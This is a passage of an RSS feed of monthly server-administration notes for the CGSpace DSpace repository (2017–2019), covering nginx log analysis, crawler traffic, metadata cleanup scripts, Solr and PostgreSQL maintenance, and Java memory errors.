zcat --force /var/log/nginx/rest.log.*.gz | grep -c -E &#34;[0-9]{1,2}/Oct/2019&#34; +1183456 +# zcat --force /var/log/nginx/rest.log.*.gz | grep -E &#34;[0-9]{1,2}/Oct/2019&#34; | grep -c -E &#34;/rest/bitstreams&#34; +106781 +</code></pre> + + + + October, 2019 + https://alanorth.github.io/cgspace-notes/2019-10/ + Tue, 01 Oct 2019 13:20:51 +0300 + + https://alanorth.github.io/cgspace-notes/2019-10/ + 2019-10-01 Udana from IWMI asked me for a CSV export of their community on CGSpace I exported it, but a quick run through the csv-metadata-quality tool shows that there are some low-hanging fruits we can fix before I send him the data I will limit the scope to the titles, regions, subregions, and river basins for now to manually fix some non-breaking spaces (U+00A0) there that would otherwise be removed by the csv-metadata-quality script&rsquo;s &ldquo;unneccesary Unicode&rdquo; fix: $ csvcut -c &#39;id,dc. + + + + September, 2019 + https://alanorth.github.io/cgspace-notes/2019-09/ + Sun, 01 Sep 2019 10:17:51 +0300 + + https://alanorth.github.io/cgspace-notes/2019-09/ + <h2 id="2019-09-01">2019-09-01</h2> +<ul> +<li>Linode emailed to say that CGSpace (linode18) had a high rate of outbound traffic for several hours this morning</li> +<li>Here are the top ten IPs in the nginx XMLUI and REST/OAI logs this morning:</li> +</ul> +<pre tabindex="0"><code># zcat --force /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep -E &#34;01/Sep/2019:0&#34; | awk &#39;{print $1}&#39; | sort | uniq -c | sort -n | tail -n 10 + 440 17.58.101.255 + 441 157.55.39.101 + 485 207.46.13.43 + 728 169.60.128.125 + 730 207.46.13.108 + 758 157.55.39.9 + 808 66.160.140.179 + 814 207.46.13.212 + 2472 163.172.71.23 + 6092 3.94.211.189 +# zcat --force /var/log/nginx/rest.log /var/log/nginx/rest.log.1 /var/log/nginx/oai.log /var/log/nginx/oai.log.1 | grep -E &#34;01/Sep/2019:0&#34; | awk &#39;{print $1}&#39; | sort | uniq -c | sort -n | tail -n 10 + 33 2a01:7e00::f03c:91ff:fe16:fcb + 57 3.83.192.124 + 57 3.87.77.25 + 57 54.82.1.8 + 822 2a01:9cc0:47:1:1a:4:0:2 + 1223 45.5.184.72 + 1633 172.104.229.92 + 5112 205.186.128.185 + 7249 2a01:7e00::f03c:91ff:fe18:7396 + 9124 45.5.186.2 +</code></pre> + + + + August, 2019 + https://alanorth.github.io/cgspace-notes/2019-08/ + Sat, 03 Aug 2019 12:39:51 +0300 + + https://alanorth.github.io/cgspace-notes/2019-08/ + <h2 id="2019-08-03">2019-08-03</h2> +<ul> +<li>Look at Bioversity&rsquo;s latest migration CSV and now I see that Francesco has cleaned up the extra columns and the newline at the end of the file, but many of the column headers have an extra space in the name&hellip;</li> +</ul> +<h2 id="2019-08-04">2019-08-04</h2> +<ul> +<li>Deploy ORCID identifier updates requested by Bioversity to CGSpace</li> +<li>Run system updates on CGSpace (linode18) and reboot it +<ul> +<li>Before updating it I checked Solr and verified that all statistics cores were loaded properly&hellip;</li> +<li>After rebooting, all statistics cores were loaded&hellip; wow, that&rsquo;s lucky.</li> +</ul> +</li> +<li>Run system updates on DSpace Test (linode19) and reboot it</li> +</ul> + + + + July, 2019 + https://alanorth.github.io/cgspace-notes/2019-07/ + Mon, 01 Jul 2019 12:13:51 +0300 + + https://alanorth.github.io/cgspace-notes/2019-07/ + <h2 id="2019-07-01">2019-07-01</h2> +<ul> +<li>Create an &ldquo;AfricaRice books and book chapters&rdquo; collection on CGSpace for AfricaRice</li> +<li>Last month Sisay asked why the following &ldquo;most popular&rdquo; statistics link for a range of months in 2018 works for the CIAT community on DSpace Test, but not on CGSpace: +<ul> +<li><a href="https://dspacetest.cgiar.org/handle/10568/35697/most-popular/item#simplefilter=custom&amp;time_filter_end_date=01%2F12%2F2018">DSpace Test</a></li> +<li><a href="https://cgspace.cgiar.org/handle/10568/35697/most-popular/item#simplefilter=custom&amp;time_filter_end_date=01%2F12%2F2018">CGSpace</a></li> +</ul> +</li> +<li>Abenet had another similar issue a few days ago when trying to find the stats for 2018 in the RTB community</li> +</ul> + + + + June, 2019 + https://alanorth.github.io/cgspace-notes/2019-06/ + Sun, 02 Jun 2019 10:57:51 +0300 + + https://alanorth.github.io/cgspace-notes/2019-06/ + <h2 id="2019-06-02">2019-06-02</h2> +<ul> +<li>Merge the <a href="https://github.com/ilri/DSpace/pull/425">Solr filterCache</a> and <a href="https://github.com/ilri/DSpace/pull/426">XMLUI ISI journal</a> changes to the <code>5_x-prod</code> branch and deploy on CGSpace</li> +<li>Run system updates on CGSpace (linode18) and reboot it</li> +</ul> +<h2 id="2019-06-03">2019-06-03</h2> +<ul> +<li>Skype with Marie-Angélique and Abenet about <a href="https://agriculturalsemantics.github.io/cg-core/cgcore.html">CG Core v2</a></li> +</ul> + + + + May, 2019 + https://alanorth.github.io/cgspace-notes/2019-05/ + Wed, 01 May 2019 07:37:43 +0300 + + https://alanorth.github.io/cgspace-notes/2019-05/ + <h2 id="2019-05-01">2019-05-01</h2> +<ul> +<li>Help CCAFS with regenerating some item thumbnails after they uploaded new PDFs to some items on CGSpace</li> +<li>A user on the dspace-tech mailing list offered some suggestions for troubleshooting the problem with the inability to delete certain items +<ul> +<li>Apparently if the item is in the <code>workflowitem</code> table it is submitted to a workflow</li> +<li>And if it is in the <code>workspaceitem</code> table it is in the pre-submitted state</li> +</ul> +</li> +<li>The item seems to be in a pre-submitted state, so I tried to delete it from there:</li> +</ul> +<pre tabindex="0"><code>dspace=# DELETE FROM workspaceitem WHERE item_id=74648; +DELETE 1 +</code></pre><ul> +<li>But after this I tried to delete the item from the XMLUI and it is <em>still</em> present&hellip;</li> +</ul> + + + + April, 2019 + https://alanorth.github.io/cgspace-notes/2019-04/ + Mon, 01 Apr 2019 09:00:43 +0300 + + https://alanorth.github.io/cgspace-notes/2019-04/ + <h2 id="2019-04-01">2019-04-01</h2> +<ul> +<li>Meeting with AgroKnow to discuss CGSpace, ILRI data, AReS, GARDIAN, etc +<ul> +<li>They asked if we had plans to enable RDF support in CGSpace</li> +</ul> +</li> +<li>There have been 4,400 more downloads of the CTA Spore publication from those strange Amazon IP addresses today +<ul> +<li>I suspected that some might not be successful, because the stats show less, but today they were all HTTP 200!</li> +</ul> +</li> +</ul> +<pre tabindex="0"><code># cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep &#39;Spore-192-EN-web.pdf&#39; | grep -E &#39;(18.196.196.108|18.195.78.144|18.195.218.6)&#39; | awk &#39;{print $9}&#39; | sort | uniq -c | sort -n | tail -n 5 + 4432 200 +</code></pre><ul> +<li>In the last two weeks there have been 47,000 downloads of this <em>same exact PDF</em> by these three IP addresses</li> +<li>Apply country and region corrections and deletions on DSpace Test and CGSpace:</li> +</ul> +<pre tabindex="0"><code>$ ./fix-metadata-values.py -i /tmp/2019-02-21-fix-9-countries.csv -db dspace -u dspace -p &#39;fuuu&#39; -f cg.coverage.country -m 228 -t ACTION -d +$ ./fix-metadata-values.py -i /tmp/2019-02-21-fix-4-regions.csv -db dspace -u dspace -p &#39;fuuu&#39; -f cg.coverage.region -m 231 -t action -d +$ ./delete-metadata-values.py -i /tmp/2019-02-21-delete-2-countries.csv -db dspace -u dspace -p &#39;fuuu&#39; -m 228 -f cg.coverage.country -d +$ ./delete-metadata-values.py -i /tmp/2019-02-21-delete-1-region.csv -db dspace -u dspace -p &#39;fuuu&#39; -m 231 -f cg.coverage.region -d +</code></pre> + + + + March, 2019 + https://alanorth.github.io/cgspace-notes/2019-03/ + Fri, 01 Mar 2019 12:16:30 +0100 + + https://alanorth.github.io/cgspace-notes/2019-03/ + <h2 id="2019-03-01">2019-03-01</h2> +<ul> +<li>I checked IITA&rsquo;s 259 Feb 14 records from last month for duplicates using Atmire&rsquo;s Duplicate Checker on a fresh snapshot of CGSpace on my local machine and everything looks good</li> +<li>I am now only waiting to hear from her about where the items should go, though I assume Journal Articles go to IITA Journal Articles collection, etc&hellip;</li> +<li>Looking at the other half of Udana&rsquo;s WLE records from 2018-11 +<ul> +<li>I finished the ones for Restoring Degraded Landscapes (RDL), but these are for Variability, Risks and Competing Uses (VRC)</li> +<li>I did the usual cleanups for whitespace, added regions where they made sense for certain countries, cleaned up the DOI link formats, added rights information based on the publications page for a few items</li> +<li>Most worryingly, there are encoding errors in the abstracts for eleven items, for example:</li> +<li>68.15% � 9.45 instead of 68.15% ± 9.45</li> +<li>2003�2013 instead of 2003–2013</li> +</ul> +</li> +<li>I think I will need to ask Udana to re-copy and paste the abstracts with more care using Google Docs</li> +</ul> + + + + February, 2019 + https://alanorth.github.io/cgspace-notes/2019-02/ + Fri, 01 Feb 2019 21:37:30 +0200 + + https://alanorth.github.io/cgspace-notes/2019-02/ + <h2 id="2019-02-01">2019-02-01</h2> +<ul> +<li>Linode has alerted a few times since last night that the CPU usage on CGSpace (linode18) was high despite me increasing the alert threshold last week from 250% to 275%—I might need to increase it again!</li> +<li>The top IPs before, during, and after this latest alert tonight were:</li> +</ul> +<pre tabindex="0"><code># zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E &#34;01/Feb/2019:(17|18|19|20|21)&#34; | awk &#39;{print $1}&#39; | sort | uniq -c | sort -n | tail -n 10 + 245 207.46.13.5 + 332 54.70.40.11 + 385 5.143.231.38 + 405 207.46.13.173 + 405 207.46.13.75 + 1117 66.249.66.219 + 1121 35.237.175.180 + 1546 5.9.6.51 + 2474 45.5.186.2 + 5490 85.25.237.71 +</code></pre><ul> +<li><code>85.25.237.71</code> is the &ldquo;Linguee Bot&rdquo; that I first saw last month</li> +<li>The Solr statistics the past few months have been very high and I was wondering if the web server logs also showed an increase</li> +<li>There were just over 3 million accesses in the nginx logs last month:</li> +</ul> +<pre tabindex="0"><code># time zcat --force /var/log/nginx/* | grep -cE &#34;[0-9]{1,2}/Jan/2019&#34; +3018243 + +real 0m19.873s +user 0m22.203s +sys 0m1.979s +</code></pre> + + + + January, 2019 + https://alanorth.github.io/cgspace-notes/2019-01/ + Wed, 02 Jan 2019 09:48:30 +0200 + + https://alanorth.github.io/cgspace-notes/2019-01/ + <h2 id="2019-01-02">2019-01-02</h2> +<ul> +<li>Linode alerted that CGSpace (linode18) had a higher outbound traffic rate than normal early this morning</li> +<li>I don&rsquo;t see anything interesting in the web server logs around that time though:</li> +</ul> +<pre tabindex="0"><code># zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E &#34;02/Jan/2019:0(1|2|3)&#34; | awk &#39;{print $1}&#39; | sort | uniq -c | sort -n | tail -n 10 + 92 40.77.167.4 + 99 210.7.29.100 + 120 38.126.157.45 + 177 35.237.175.180 + 177 40.77.167.32 + 216 66.249.75.219 + 225 18.203.76.93 + 261 46.101.86.248 + 357 207.46.13.1 + 903 54.70.40.11 +</code></pre> + + + + December, 2018 + https://alanorth.github.io/cgspace-notes/2018-12/ + Sun, 02 Dec 2018 02:09:30 +0200 + + https://alanorth.github.io/cgspace-notes/2018-12/ + <h2 id="2018-12-01">2018-12-01</h2> +<ul> +<li>Switch CGSpace (linode18) to use OpenJDK instead of Oracle JDK</li> +<li>I manually installed OpenJDK, then removed Oracle JDK, then re-ran the <a href="http://github.com/ilri/rmg-ansible-public">Ansible playbook</a> to update all configuration files, etc</li> +<li>Then I ran all system updates and restarted the server</li> +</ul> +<h2 id="2018-12-02">2018-12-02</h2> +<ul> +<li>I noticed that there is another issue with PDF thumbnails on CGSpace, and I see there was another <a href="https://usn.ubuntu.com/3831-1/">Ghostscript vulnerability last week</a></li> +</ul> + + + + November, 2018 + https://alanorth.github.io/cgspace-notes/2018-11/ + Thu, 01 Nov 2018 16:41:30 +0200 + + https://alanorth.github.io/cgspace-notes/2018-11/ + <h2 id="2018-11-01">2018-11-01</h2> +<ul> +<li>Finalize AReS Phase I and Phase II ToRs</li> +<li>Send a note about my <a href="https://github.com/ilri/dspace-statistics-api">dspace-statistics-api</a> to the dspace-tech mailing list</li> +</ul> +<h2 id="2018-11-03">2018-11-03</h2> +<ul> +<li>Linode has been sending mails a few times a day recently that CGSpace (linode18) has had high CPU usage</li> +<li>Today these are the top 10 IPs:</li> +</ul> + + + + October, 2018 + https://alanorth.github.io/cgspace-notes/2018-10/ + Mon, 01 Oct 2018 22:31:54 +0300 + + https://alanorth.github.io/cgspace-notes/2018-10/ + <h2 id="2018-10-01">2018-10-01</h2> +<ul> +<li>Phil Thornton got an ORCID identifier so we need to add it to the list on CGSpace and tag his existing items</li> +<li>I created a GitHub issue to track this <a href="https://github.com/ilri/DSpace/issues/389">#389</a>, because I&rsquo;m super busy in Nairobi right now</li> +</ul> + + + + September, 2018 + https://alanorth.github.io/cgspace-notes/2018-09/ + Sun, 02 Sep 2018 09:55:54 +0300 + + https://alanorth.github.io/cgspace-notes/2018-09/ + <h2 id="2018-09-02">2018-09-02</h2> +<ul> +<li>New <a href="https://jdbc.postgresql.org/documentation/changelog.html#version_42.2.5">PostgreSQL JDBC driver version 42.2.5</a></li> +<li>I&rsquo;ll update the DSpace role in our <a href="https://github.com/ilri/rmg-ansible-public">Ansible infrastructure playbooks</a> and run the updated playbooks on CGSpace and DSpace Test</li> +<li>Also, I&rsquo;ll re-run the <code>postgresql</code> tasks because the custom PostgreSQL variables are dynamic according to the system&rsquo;s RAM, and we never re-ran them after migrating to larger Linodes last month</li> +<li>I&rsquo;m testing the new DSpace 5.8 branch in my Ubuntu 18.04 environment and I&rsquo;m getting those autowire errors in Tomcat 8.5.30 again:</li> +</ul> + + + + August, 2018 + https://alanorth.github.io/cgspace-notes/2018-08/ + Wed, 01 Aug 2018 11:52:54 +0300 + + https://alanorth.github.io/cgspace-notes/2018-08/ + <h2 id="2018-08-01">2018-08-01</h2> +<ul> +<li>DSpace Test had crashed at some point yesterday morning and I see the following in <code>dmesg</code>:</li> +</ul> +<pre tabindex="0"><code>[Tue Jul 31 00:00:41 2018] Out of memory: Kill process 1394 (java) score 668 or sacrifice child +[Tue Jul 31 00:00:41 2018] Killed process 1394 (java) total-vm:15601860kB, anon-rss:5355528kB, file-rss:0kB, shmem-rss:0kB +[Tue Jul 31 00:00:41 2018] oom_reaper: reaped process 1394 (java), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB +</code></pre><ul> +<li>Judging from the time of the crash it was probably related to the Discovery indexing that starts at midnight</li> +<li>From the DSpace log I see that eventually Solr stopped responding, so I guess the <code>java</code> process that was OOM killed above was Tomcat&rsquo;s</li> +<li>I&rsquo;m not sure why Tomcat didn&rsquo;t crash with an OutOfMemoryError&hellip;</li> +<li>Anyways, perhaps I should increase the JVM heap from 5120m to 6144m like we did a few months ago when we tried to run the whole CGSpace Solr core</li> +<li>The server only has 8GB of RAM so we&rsquo;ll eventually need to upgrade to a larger one because we&rsquo;ll start starving the OS, PostgreSQL, and command line batch processes</li> +<li>I ran all system updates on DSpace Test and rebooted it</li> +</ul> + + + + July, 2018 + https://alanorth.github.io/cgspace-notes/2018-07/ + Sun, 01 Jul 2018 12:56:54 +0300 + + https://alanorth.github.io/cgspace-notes/2018-07/ + <h2 id="2018-07-01">2018-07-01</h2> +<ul> +<li>I want to upgrade DSpace Test to DSpace 5.8 so I took a backup of its current database just in case:</li> +</ul> +<pre tabindex="0"><code>$ pg_dump -b -v -o --format=custom -U dspace -f dspace-2018-07-01.backup dspace +</code></pre><ul> +<li>During the <code>mvn package</code> stage on the 5.8 branch I kept getting issues with java running out of memory:</li> +</ul> +<pre tabindex="0"><code>There is insufficient memory for the Java Runtime Environment to continue. +</code></pre> + + + + June, 2018 + https://alanorth.github.io/cgspace-notes/2018-06/ + Mon, 04 Jun 2018 19:49:54 -0700 + + https://alanorth.github.io/cgspace-notes/2018-06/ + <h2 id="2018-06-04">2018-06-04</h2> +<ul> +<li>Test the <a href="https://tracker.atmire.com/tickets-cgiar-ilri/view-ticket?id=560">DSpace 5.8 module upgrades from Atmire</a> (<a href="https://github.com/ilri/DSpace/pull/378">#378</a>) +<ul> +<li>There seems to be a problem with the CUA and L&amp;R versions in <code>pom.xml</code> because they are using SNAPSHOT and it doesn&rsquo;t build</li> +</ul> +</li> +<li>I added the new CCAFS Phase II Project Tag <code>PII-FP1_PACCA2</code> and merged it into the <code>5_x-prod</code> branch (<a href="https://github.com/ilri/DSpace/pull/379">#379</a>)</li> +<li>I proofed and tested the ILRI author corrections that Peter sent back to me this week:</li> +</ul> +<pre tabindex="0"><code>$ ./fix-metadata-values.py -i /tmp/2018-05-30-Correct-660-authors.csv -db dspace -u dspace -p &#39;fuuu&#39; -f dc.contributor.author -t correct -m 3 -n +</code></pre><ul> +<li>I think a sane proofing workflow in OpenRefine is to apply the custom text facets for check/delete/remove and illegal characters that I developed in <a href="https://alanorth.github.io/cgspace-notes/cgspace-notes/2018-03/">March, 2018</a></li> +<li>Time to index ~70,000 items on CGSpace:</li> +</ul> +<pre tabindex="0"><code>$ time schedtool -D -e ionice -c2 -n7 nice -n19 [dspace]/bin/dspace index-discovery -b + +real 74m42.646s +user 8m5.056s +sys 2m7.289s +</code></pre> + + + + May, 2018 + https://alanorth.github.io/cgspace-notes/2018-05/ + Tue, 01 May 2018 16:43:54 +0300 + + https://alanorth.github.io/cgspace-notes/2018-05/ + <h2 id="2018-05-01">2018-05-01</h2> +<ul> +<li>I cleared the Solr statistics core on DSpace Test by issuing two commands directly to the Solr admin interface: +<ul> +<li>http://localhost:3000/solr/statistics/update?stream.body=%3Cdelete%3E%3Cquery%3E*:*%3C/query%3E%3C/delete%3E</li> +<li>http://localhost:3000/solr/statistics/update?stream.body=%3Ccommit/%3E</li> +</ul> +</li> +<li>Then I reduced the JVM heap size from 6144 back to 5120m</li> +<li>Also, I switched it to use OpenJDK instead of Oracle Java, as well as re-worked the <a href="https://github.com/ilri/rmg-ansible-public">Ansible infrastructure scripts</a> to support hosts choosing which distribution they want to use</li> +</ul> + + + + April, 2018 + https://alanorth.github.io/cgspace-notes/2018-04/ + Sun, 01 Apr 2018 16:13:54 +0200 + + https://alanorth.github.io/cgspace-notes/2018-04/ + <h2 id="2018-04-01">2018-04-01</h2> +<ul> +<li>I tried to test something on DSpace Test but noticed that it&rsquo;s down since god knows when</li> +<li>Catalina logs at least show some memory errors yesterday:</li> +</ul> + + + + March, 2018 + https://alanorth.github.io/cgspace-notes/2018-03/ + Fri, 02 Mar 2018 16:07:54 +0200 + + https://alanorth.github.io/cgspace-notes/2018-03/ + <h2 id="2018-03-02">2018-03-02</h2> +<ul> +<li>Export a CSV of the IITA community metadata for Martin Mueller</li> +</ul> + + + + February, 2018 + https://alanorth.github.io/cgspace-notes/2018-02/ + Thu, 01 Feb 2018 16:28:54 +0200 + + https://alanorth.github.io/cgspace-notes/2018-02/ + <h2 id="2018-02-01">2018-02-01</h2> +<ul> +<li>Peter gave feedback on the <code>dc.rights</code> proof of concept that I had sent him last week</li> +<li>We don&rsquo;t need to distinguish between internal and external works, so that makes it just a simple list</li> +<li>Yesterday I figured out how to monitor DSpace sessions using JMX</li> +<li>I copied the logic in the <code>jmx_tomcat_dbpools</code> provided by Ubuntu&rsquo;s <code>munin-plugins-java</code> package and used the stuff I discovered about JMX <a href="https://alanorth.github.io/cgspace-notes/cgspace-notes/2018-01/">in 2018-01</a></li> +</ul> + + + + January, 2018 + https://alanorth.github.io/cgspace-notes/2018-01/ + Tue, 02 Jan 2018 08:35:54 -0800 + + https://alanorth.github.io/cgspace-notes/2018-01/ + <h2 id="2018-01-02">2018-01-02</h2> +<ul> +<li>Uptime Robot noticed that CGSpace went down and up a few times last night, for a few minutes each time</li> +<li>I didn&rsquo;t get any load alerts from Linode and the REST and XMLUI logs don&rsquo;t show anything out of the ordinary</li> +<li>The nginx logs show HTTP 200s until <code>02/Jan/2018:11:27:17 +0000</code> when Uptime Robot got an HTTP 500</li> +<li>In dspace.log around that time I see many errors like &ldquo;Client closed the connection before file download was complete&rdquo;</li> +<li>And just before that I see this:</li> +</ul> +<pre tabindex="0"><code>Caused by: org.apache.tomcat.jdbc.pool.PoolExhaustedException: [http-bio-127.0.0.1-8443-exec-980] Timeout: Pool empty. Unable to fetch a connection in 5 seconds, none available[size:50; busy:50; idle:0; lastwait:5000]. +</code></pre><ul> +<li>Ah hah! So the pool was actually empty!</li> +<li>I need to increase that, let&rsquo;s try to bump it up from 50 to 75</li> +<li>After that one client got an HTTP 499 but then the rest were HTTP 200, so I don&rsquo;t know what the hell Uptime Robot saw</li> +<li>I notice this error quite a few times in dspace.log:</li> +</ul> +<pre tabindex="0"><code>2018-01-02 01:21:19,137 ERROR org.dspace.app.xmlui.aspect.discovery.SidebarFacetsTransformer @ Error while searching for sidebar facets +org.dspace.discovery.SearchServiceException: org.apache.solr.search.SyntaxError: Cannot parse &#39;dateIssued_keyword:[1976+TO+1979]&#39;: Encountered &#34; &#34;]&#34; &#34;] &#34;&#34; at line 1, column 32. +</code></pre><ul> +<li>And there are many of these errors every day for the past month:</li> +</ul> +<pre tabindex="0"><code>$ grep -c &#34;Error while searching for sidebar facets&#34; dspace.log.* +dspace.log.2017-11-21:4 +dspace.log.2017-11-22:1 +dspace.log.2017-11-23:4 +dspace.log.2017-11-24:11 +dspace.log.2017-11-25:0 +dspace.log.2017-11-26:1 +dspace.log.2017-11-27:7 +dspace.log.2017-11-28:21 +dspace.log.2017-11-29:31 +dspace.log.2017-11-30:15 +dspace.log.2017-12-01:15 +dspace.log.2017-12-02:20 +dspace.log.2017-12-03:38 +dspace.log.2017-12-04:65 +dspace.log.2017-12-05:43 +dspace.log.2017-12-06:72 +dspace.log.2017-12-07:27 +dspace.log.2017-12-08:15 +dspace.log.2017-12-09:29 +dspace.log.2017-12-10:35 +dspace.log.2017-12-11:20 +dspace.log.2017-12-12:44 +dspace.log.2017-12-13:36 +dspace.log.2017-12-14:59 +dspace.log.2017-12-15:104 +dspace.log.2017-12-16:53 +dspace.log.2017-12-17:66 +dspace.log.2017-12-18:83 +dspace.log.2017-12-19:101 +dspace.log.2017-12-20:74 +dspace.log.2017-12-21:55 +dspace.log.2017-12-22:66 +dspace.log.2017-12-23:50 +dspace.log.2017-12-24:85 +dspace.log.2017-12-25:62 +dspace.log.2017-12-26:49 +dspace.log.2017-12-27:30 +dspace.log.2017-12-28:54 +dspace.log.2017-12-29:68 +dspace.log.2017-12-30:89 +dspace.log.2017-12-31:53 +dspace.log.2018-01-01:45 +dspace.log.2018-01-02:34 +</code></pre><ul> +<li>Danny wrote to ask for help renewing the wildcard ilri.org certificate and I advised that we should probably use Let&rsquo;s Encrypt if it&rsquo;s just a handful of domains</li> +</ul> + + + + December, 2017 + https://alanorth.github.io/cgspace-notes/2017-12/ + Fri, 01 Dec 2017 13:53:54 +0300 + + https://alanorth.github.io/cgspace-notes/2017-12/ + <h2 id="2017-12-01">2017-12-01</h2> +<ul> +<li>Uptime Robot noticed that CGSpace went down</li> +<li>The logs say &ldquo;Timeout waiting for idle object&rdquo;</li> +<li>PostgreSQL activity says there are 115 connections currently</li> +<li>The list of connections to XMLUI and REST API for today:</li> +</ul> + + + + November, 2017 + https://alanorth.github.io/cgspace-notes/2017-11/ + Thu, 02 Nov 2017 09:37:54 +0200 + + https://alanorth.github.io/cgspace-notes/2017-11/ + <h2 id="2017-11-01">2017-11-01</h2> +<ul> +<li>The CORE developers responded to say they are looking into their bot not respecting our robots.txt</li> +</ul> +<h2 id="2017-11-02">2017-11-02</h2> +<ul> +<li>Today there have been no hits by CORE and no alerts from Linode (coincidence?)</li> +</ul> +<pre tabindex="0"><code># grep -c &#34;CORE&#34; /var/log/nginx/access.log +0 +</code></pre><ul> +<li>Generate list of authors on CGSpace for Peter to go through and correct:</li> +</ul> +<pre tabindex="0"><code>dspace=# \copy (select distinct text_value, count(*) as count from metadatavalue where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = &#39;contributor&#39; and qualifier = &#39;author&#39;) AND resource_type_id = 2 group by text_value order by count desc) to /tmp/authors.csv with csv; +COPY 54701 +</code></pre> + + + + October, 2017 + https://alanorth.github.io/cgspace-notes/2017-10/ + Sun, 01 Oct 2017 08:07:54 +0300 + + https://alanorth.github.io/cgspace-notes/2017-10/ + <h2 id="2017-10-01">2017-10-01</h2> +<ul> +<li>Peter emailed to point out that many items in the <a href="https://cgspace.cgiar.org/handle/10568/2703">ILRI archive collection</a> have multiple handles:</li> +</ul> +<pre tabindex="0"><code>http://hdl.handle.net/10568/78495||http://hdl.handle.net/10568/79336 +</code></pre><ul> +<li>There appears to be a pattern but I&rsquo;ll have to look a bit closer and try to clean them up automatically, either in SQL or in OpenRefine</li> +<li>Add Katherine Lutz to the groups for content submission and edit steps of the CGIAR System collections</li> +</ul> + + + + CGIAR Library Migration + https://alanorth.github.io/cgspace-notes/cgiar-library-migration/ + Mon, 18 Sep 2017 16:38:35 +0300 + + https://alanorth.github.io/cgspace-notes/cgiar-library-migration/ + <p>Rough notes for importing the CGIAR Library content. It was decided that this content would go to a new top-level community called <em>CGIAR System Organization</em>.</p> + + + + September, 2017 + https://alanorth.github.io/cgspace-notes/2017-09/ + Thu, 07 Sep 2017 16:54:52 +0700 + + https://alanorth.github.io/cgspace-notes/2017-09/ + <h2 id="2017-09-06">2017-09-06</h2> +<ul> +<li>Linode sent an alert that CGSpace (linode18) was using 261% CPU for the past two hours</li> +</ul> +<h2 id="2017-09-07">2017-09-07</h2> +<ul> +<li>Ask Sisay to clean up the WLE approvers a bit, as Marianne&rsquo;s user account is both in the approvers step as well as the group</li> +</ul> + + + + August, 2017 + https://alanorth.github.io/cgspace-notes/2017-08/ + Tue, 01 Aug 2017 11:51:52 +0300 + + https://alanorth.github.io/cgspace-notes/2017-08/ + <h2 id="2017-08-01">2017-08-01</h2> +<ul> +<li>Linode sent an alert that CGSpace (linode18) was using 350% CPU for the past two hours</li> +<li>I looked in the Activity pane of the Admin Control Panel and it seems that Google, Baidu, Yahoo, and Bing are all crawling with massive numbers of bots concurrently (~100 total, mostly Baidu and Google)</li> +<li>The good thing is that, according to <code>dspace.log.2017-08-01</code>, they are all using the same Tomcat session</li> +<li>This means our Tomcat Crawler Session Valve is working</li> +<li>But many of the bots are browsing dynamic URLs like: +<ul> +<li>/handle/10568/3353/discover</li> +<li>/handle/10568/16510/browse</li> +</ul> +</li> +<li>The <code>robots.txt</code> only blocks the top-level <code>/discover</code> and <code>/browse</code> URLs&hellip; we will need to find a way to forbid them from accessing these!</li> +<li>Relevant issue from DSpace Jira (semi resolved in DSpace 6.0): <a href="https://jira.duraspace.org/browse/DS-2962">https://jira.duraspace.org/browse/DS-2962</a></li> +<li>It turns out that we&rsquo;re already adding the <code>X-Robots-Tag &quot;none&quot;</code> HTTP header, but this only forbids the search engine from <em>indexing</em> the page, not crawling it!</li> +<li>Also, the bot has to successfully browse the page first so it can receive the HTTP header&hellip;</li> +<li>We might actually have to <em>block</em> these requests with HTTP 403 depending on the user agent</li> +<li>Abenet pointed out that the CGIAR Library Historical Archive collection I sent July 20th only had ~100 entries, instead of 2415</li> +<li>This was due to newline characters in the <code>dc.description.abstract</code> column, which caused OpenRefine to choke when exporting the CSV</li> +<li>I exported a new CSV from the collection on DSpace Test and then manually removed the characters in vim using <code>g/^$/d</code></li> +<li>Then I cleaned up the author authorities and HTML characters in OpenRefine and sent the file back to Abenet</li> +</ul> + + + + July, 2017 + https://alanorth.github.io/cgspace-notes/2017-07/ + Sat, 01 Jul 2017 18:03:52 +0300 + + https://alanorth.github.io/cgspace-notes/2017-07/ + <h2 id="2017-07-01">2017-07-01</h2> +<ul> +<li>Run system updates and reboot DSpace Test</li> +</ul> +<h2 id="2017-07-04">2017-07-04</h2> +<ul> +<li>Merge changes for WLE Phase II theme rename (<a href="https://github.com/ilri/DSpace/pull/329">#329</a>)</li> +<li>Looking at extracting the metadata registries from ICARDA&rsquo;s MEL DSpace database so we can compare fields with CGSpace</li> +<li>We can use PostgreSQL&rsquo;s extended output format (<code>-x</code>) plus <code>sed</code> to format the output into quasi XML:</li> +</ul> + + + + June, 2017 + https://alanorth.github.io/cgspace-notes/2017-06/ + Thu, 01 Jun 2017 10:14:52 +0300 + + https://alanorth.github.io/cgspace-notes/2017-06/ + 2017-06-01 After discussion with WLE and CGSpace content people, we decided to just add one metadata field for the WLE Research Themes The cg.identifier.wletheme field will be used for both Phase I and Phase II Research Themes Then we&rsquo;ll create a new sub-community for Phase II and create collections for the research themes there The current &ldquo;Research Themes&rdquo; community will be renamed to &ldquo;WLE Phase I Research Themes&rdquo; Tagged all items in the current Phase I collections with their appropriate themes Create pull request to add Phase II research themes to the submission form: #328 Add cg. + + + + May, 2017 + https://alanorth.github.io/cgspace-notes/2017-05/ + Mon, 01 May 2017 16:21:52 +0200 + + https://alanorth.github.io/cgspace-notes/2017-05/ + 2017-05-01 ICARDA apparently started working on CG Core on their MEL repository They have done a few cg.* fields, but not very consistent and even copy some of CGSpace items: https://mel.cgiar.org/xmlui/handle/20.500.11766/6911?show=full https://cgspace.cgiar.org/handle/10568/73683 2017-05-02 Atmire got back about the Workflow Statistics issue, and apparently it&rsquo;s a bug in the CUA module so they will send us a pull request 2017-05-04 Sync DSpace Test with database and assetstore from CGSpace Re-deploy DSpace Test with Atmire&rsquo;s CUA patch for workflow statistics, run system updates, and restart the server Now I can see the workflow statistics and am able to select users, but everything returns 0 items Megan says there are still some mapped items are not appearing since last week, so I forced a full index-discovery -b Need to remember to check if the collection has more items (currently 39 on CGSpace, but 118 on the freshly reindexed DSPace Test) tomorrow: https://cgspace. + + + + April, 2017 + https://alanorth.github.io/cgspace-notes/2017-04/ + Sun, 02 Apr 2017 17:08:52 +0200 + + https://alanorth.github.io/cgspace-notes/2017-04/ + <h2 id="2017-04-02">2017-04-02</h2> +<ul> +<li>Merge one change to CCAFS flagships that I had forgotten to remove last month 